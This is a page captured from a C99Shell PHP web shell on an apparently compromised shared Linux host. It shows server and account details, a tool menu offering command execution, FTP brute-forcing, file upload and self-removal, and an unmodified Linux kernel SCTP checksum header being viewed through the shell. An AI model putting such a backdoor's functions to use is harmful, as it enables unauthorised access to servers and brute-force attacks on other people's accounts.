!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/src/linux-hwe-6.5-headers-6.5.0-45/include/net/sctp/   drwxr-xr-x
Free 711.59 GB of 879.6 GB (80.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     checksum.h (1.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* SPDX-License-Identifier: GPL-2.0-or-later */
/* SCTP kernel reference Implementation
 * Copyright (c) 1999-2001 Motorola, Inc.
 * Copyright (c) 2001-2003 International Business Machines, Corp.
 *
 * This file is part of the SCTP kernel reference Implementation
 *
 * SCTP Checksum functions
 *
 * Please send any bug reports or fixes you make to the
 * email address(es):
 *    lksctp developers <[email protected]>
 *
 * Written or modified by:
 *    Dinakaran Joseph
 *    Jon Grimm <[email protected]>
 *    Sridhar Samudrala <[email protected]>
 *
 * Rewritten to use libcrc32c by:
 *    Vlad Yasevich <[email protected]>
 */

#ifndef __sctp_checksum_h__
#define __sctp_checksum_h__

#include <linux/types.h>
#include <linux/sctp.h>
#include <linux/crc32c.h>
#include <linux/crc32.h>

static inline __wsum sctp_csum_update(const void *buff, int len, __wsum sum)
{
    /* This uses the crypto implementation of crc32c, which is either
     * implemented w/ hardware support or resolves to __crc32c_le().
     */
    return (__force __wsum)crc32c((__force __u32)sum, buff, len);
}

static inline __wsum sctp_csum_combine(__wsum csum, __wsum csum2,
                       int offset, int len)
{
    return (__force __wsum)__crc32c_le_combine((__force __u32)csum,
                           (__force __u32)csum2, len);
}

static const struct skb_checksum_ops sctp_csum_ops = {
    .update  = sctp_csum_update,
    .combine = sctp_csum_combine,
};

static inline __le32 sctp_compute_cksum(const struct sk_buff *skb,
                    unsigned int offset)
{
    struct sctphdr *sh = (struct sctphdr *)(skb->data + offset);
    __le32 old = sh->checksum;
    __wsum new;

    sh->checksum = 0;
    new = ~__skb_checksum(skb, offset, skb->len - offset, ~(__wsum)0,
                  &sctp_csum_ops);
    sh->checksum = old;

    return cpu_to_le32((__force __u32)new);
}

#endif /* __sctp_checksum_h__ */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0791 ]--